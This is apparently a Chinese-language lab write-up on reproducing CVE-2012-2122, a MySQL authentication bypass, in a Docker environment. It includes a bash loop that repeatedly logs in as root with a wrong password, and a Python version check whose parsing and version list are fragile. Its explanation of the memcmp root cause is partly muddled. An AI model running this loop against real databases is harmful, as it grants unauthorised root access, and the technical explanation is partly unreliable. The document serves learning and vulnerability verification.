前言:CVE-2012-2122 是一个影响 MySQL 和 MariaDB 的身份验证漏洞,存在于特定版本中
任务一 介绍 CVE-2012-2122
CVE 编号:CVE-2012-2122
披露时间:2012 年 6 月
漏洞类型:认证绕过(Authentication Bypass)
攻击类型:远程攻击,无需认证(Remote / Unauthenticated)
CVSS 评分:10.0(最高危)
攻击者可在不使用正确密码的情况下,通过反复尝试连接,以一定概率获得数据库的访问权限,包括 root 用户权限。
MySQL 在特定版本中,密码认证逻辑依赖 memcmp() 函数来比对密码哈希。但某些平台或编译器(如 GCC 编译的 Linux x86_64)优化后返回值未严格为 0 或非 0,而是返回正负整数
错误的核心是:
if (!memcmp(user_input_hash, stored_hash, 20))
{
// 登录成功
}
原意是“如果两个哈希相等(返回值为 0)则通过”,但编译优化或符号扩展可能让返回值表现不稳定,导致错误判断
于是只要攻击者足够频繁地发送错误密码,在特定概率(大约 1/256)下,memcmp 返回的非零值可能被误判为 “密码正确”,从而通过认证
任务二 启动环境
cd mysql/CVE-2012-2122/
docker compose up -d
sudo apt update
sudo apt install mysql-client-core-8.0
//安装 MySQL 客户端
//如果是MariaDB(一般情况不是)
sudo apt install mariadb-client-core
任务三 攻击
for i in `seq 1 1000`; do
mysql -h 127.0.0.1 -P 3306 -uroot -pwrong_password 2>/dev/null
done
//以下是可能出现的报错
//这是因为 mysql 命令默认尝试通过本地 socket 文件连接 MySQL,但:
复现环境中 MySQL 是跑在容器里,未通过本地 socket 暴露服务。
for i in `seq 1 1000`; do
mysql -h 127.0.0.1 -P 3306 -uroot -p123 2>/dev/null
done
//改进代码
任务四 修复 | 验证
import subprocess
def check_cve_2012_2122():
try:
output = subprocess.check_output("mysql --version", shell=True)
version = output.decode().strip().split()[4].rstrip(',')
affected_versions = ['5.1.62', '5.5.23', '5.6.5'] # 示例版本
if version in affected_versions:
return "Vulnerable"
return "Patched"
except Exception as e:
return f"Error: {e}"
参考链接